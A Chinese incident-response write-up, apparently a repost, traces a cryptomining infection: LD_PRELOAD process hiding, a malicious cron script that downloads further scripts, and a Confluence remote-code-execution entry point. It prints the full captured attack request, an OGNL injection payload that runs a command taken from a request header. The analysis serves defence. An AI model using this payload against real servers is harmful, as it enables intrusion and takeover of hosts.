警告,恶意域名疯狂外联,原因竟然是……

2024-06-24 12:36

本文主要是介绍警告,恶意域名疯狂外联,原因竟然是……,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

afdf7e15d719d7da4e5991ce69f87fee.jpeg


前言

  

在某个风和日丽的下午,突然收到客户那边运维发过来的消息说我司的DTA设备在疯狂告警,说存在恶意域名外联,我急忙背上小背包前往客户现场,经过与客户协同排查,最终确定该事件为一起挖矿病毒引起的恶意域名外联事件。(因客户信息保密且为了保证文章逻辑完整性,部分截图为后期追加图)

104008f14a7387f6ad5e9eb83a0e8e7f.jpeg

事件分析


1e5d9a48b2155be5e2f48e884ae7d903.jpeg
一看域名地址donate.v2.xmrig.com,xmrig这不门罗币的矿池地址吗,看来是个挖矿事件,从DTA上的告警时间和告警事件来看,确实是个挖矿事件。 经过在DTA产品上分析发现该IP的流量信息,发现该IP主机一直在对该恶意域名进行外联请求,经过和客户沟通之后,对被害主机进行上机排查。执行top命令并未发现存在CPU异常,执行ps命令也未发现恶意进程,netstat命令也未发现恶意ip连接等行为。    d4485ab7b36028bb3301bf388c6dc04b.jpeg 但是在DTA上,该台主机确实一直在请求恶意域名,应该是做了一些隐藏进程的手段,现在类似这种挖矿病毒存在一种主流的隐藏方法,那就是通过LD_PRELOAD来修改运行链接库,修改LD_PRELOAD之后允许在你的程序运行前加载所修改的动态链接库。 那去/etc目录下看看是否存在ld.so.preload这个文件 a904ae5b80d1dbcba8749522d3c99aa0.jpeg 用系统的自带的ls命令并未发现ld.so.preload文件,这里怀疑是一些系统自带的ls等命令已经被动态链接库所hook劫持了,导致查看不到文件,所以上传了一个busybox,不用系统自带的命令来进行查看。 6daf66cad690751b41d483bce0cb321f.jpeg ld.so.preload这个文件,在系统中默认不存在这个文件或者该文件为空 这里直接通过busybox把这个文件给进行删除 fa98d793e2da3ab68eeba31d9ab036b7.jpeg 然后再次使用top命令进行查看 592eb340ecb37ed1c09d1a1af24e5eaf.jpeg 执行lsof -p [pid]命令来定位挖矿木马进程文件 6286434affe30cb29512d0e0f83c50c3.jpeg     来到该目录下发现如下 33c242831f7754ce9cfad64f4343ca7e.jpeg kill -9 3582558去kill掉挖矿木马进程,然后再把挖矿木马一并删除,但是一段时间后,DTA设备上又传来了失陷告警,且该目录下又重新生成了挖矿程序。 使用crontab -l 检查定时任务,发现一个可疑定时程序,该定时执行一个a.sh文件 427d98873cb5da2fb0b5c102f9c4566a.jpeg 该脚本主要内容如下     3794ff0716474949cf1845b61c46c705.jpeg 定义环境变量用来存取配置文件,然后检查ddns.log文件是否存在,这里的逻辑是检查当前时间与文件最后修改时间的差值。如果这个差值大于 6 秒,脚本输出 "process is not running",表示进程可能已经停止运行。如果差值不超过 6 秒,脚本认为进程可能仍在运行。最后根据不同用户来curl不用的sh文件,ai.sh一些关键代码如下 db7f0c4ec2c693ef663d0e2f4c080442.jpeg 杀死大于CPU使用率超过65%的所有进程,防止一些其他挖矿程序或者其他干扰CPU进程的运行 56b97acea1f0b1152de52ef5bde64d61.jpeg 下载的文件名和受害机上文件一致,且确定为挖矿程序。    ca5afd243b6a6561cedde9aef8b7505b.jpeg 对此删除掉恶意定时任务、挖矿病毒,重新kill进程,DTA恢复正常,无失陷流量告警。 挖矿病毒应急算是解决完了,要继续还原攻击者的攻击链路,根据挖矿木马可以分析出攻击者最先落地的是一个a.sh文件,根据a.sh文件名和落地时间和/var/log/messages里面所显示的脚本首次启动时间去查找日志,通过在态感、WAF、日志审计系统等设备再结合开放的端口服务结合查找,终于定位到一条如下攻击日志。

POST /pages/doenterpagevariables.action HTTP/1.1 Host: xxxxx:8090 Connection: keep-alive Content-Length: 599 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: xxxxxx Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: xxxxx cmd: 恶意命令 queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027     通过再次复现验证 01ec47e4983090b6b087f1c0ce6494e5.jpeg 可以确认攻击者通过8090端口开放的Confluence应用(该版本的Confluence应用存在RCE漏洞)进行getshell,然后上传a.sh文件,最后上传挖矿木马进行挖矿操作。 至此整个攻击链路和应急流程已全部梳理完毕。



https://mp.weixin.qq.com/s/Bmh7RGYVGSGpbTNnLXdbvQ

这篇关于警告,恶意域名疯狂外联,原因竟然是……的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1090166

相关文章

MyBatis Plus 中 update_time 字段自动填充失效的原因分析及解决方案(最新整理)

《MyBatisPlus中update_time字段自动填充失效的原因分析及解决方案(最新整理)》在使用MyBatisPlus时,通常我们会在数据库表中设置create_time和update... 目录前言一、问题现象二、原因分析三、总结:常见原因与解决方法对照表四、推荐写法前言在使用 MyBATis

IDEA中Maven Dependencies出现红色波浪线的原因及解决方法

《IDEA中MavenDependencies出现红色波浪线的原因及解决方法》在使用IntelliJIDEA开发Java项目时,尤其是基于Maven的项目,您可能会遇到MavenDependenci... 目录一、问题概述二、解决步骤2.1 检查 Maven 配置2.2 更新 Maven 项目2.3 清理本

Java空指针异常NullPointerException的原因与解决方案

《Java空指针异常NullPointerException的原因与解决方案》在Java开发中,NullPointerException(空指针异常)是最常见的运行时异常之一,通常发生在程序尝试访问或... 目录一、空指针异常产生的原因1. 变量未初始化2. 对象引用被显式置为null3. 方法返回null

IDEA下"File is read-only"可能原因分析及"找不到或无法加载主类"的问题

《IDEA下Fileisread-only可能原因分析及找不到或无法加载主类的问题》:本文主要介绍IDEA下Fileisread-only可能原因分析及找不到或无法加载主类的问题,具有很好的参... 目录1.File is read-only”可能原因2.“找不到或无法加载主类”问题的解决总结1.File

使用@Cacheable注解Redis时Redis宕机或其他原因连不上继续调用原方法的解决方案

《使用@Cacheable注解Redis时Redis宕机或其他原因连不上继续调用原方法的解决方案》在SpringBoot应用中,我们经常使用​​@Cacheable​​注解来缓存数据,以提高应用的性能... 目录@Cacheable注解Redis时,Redis宕机或其他原因连不上,继续调用原方法的解决方案1

Java应用如何防止恶意文件上传

《Java应用如何防止恶意文件上传》恶意文件上传可能导致服务器被入侵,数据泄露甚至服务瘫痪,因此我们必须采取全面且有效的防范措施来保护Java应用的安全,下面我们就来看看具体的实现方法吧... 目录恶意文件上传的潜在风险常见的恶意文件上传手段防范恶意文件上传的关键策略严格验证文件类型检查文件内容控制文件存储

Java程序进程起来了但是不打印日志的原因分析

《Java程序进程起来了但是不打印日志的原因分析》:本文主要介绍Java程序进程起来了但是不打印日志的原因分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java程序进程起来了但是不打印日志的原因1、日志配置问题2、日志文件权限问题3、日志文件路径问题4、程序

Linux samba共享慢的原因及解决方案

《Linuxsamba共享慢的原因及解决方案》:本文主要介绍Linuxsamba共享慢的原因及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux samba共享慢原因及解决问题表现原因解决办法总结Linandroidux samba共享慢原因及解决

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

找不到Anaconda prompt终端的原因分析及解决方案

《找不到Anacondaprompt终端的原因分析及解决方案》因为anaconda还没有初始化,在安装anaconda的过程中,有一行是否要添加anaconda到菜单目录中,由于没有勾选,导致没有菜... 目录问题原因问http://www.chinasem.cn题解决安装了 Anaconda 却找不到 An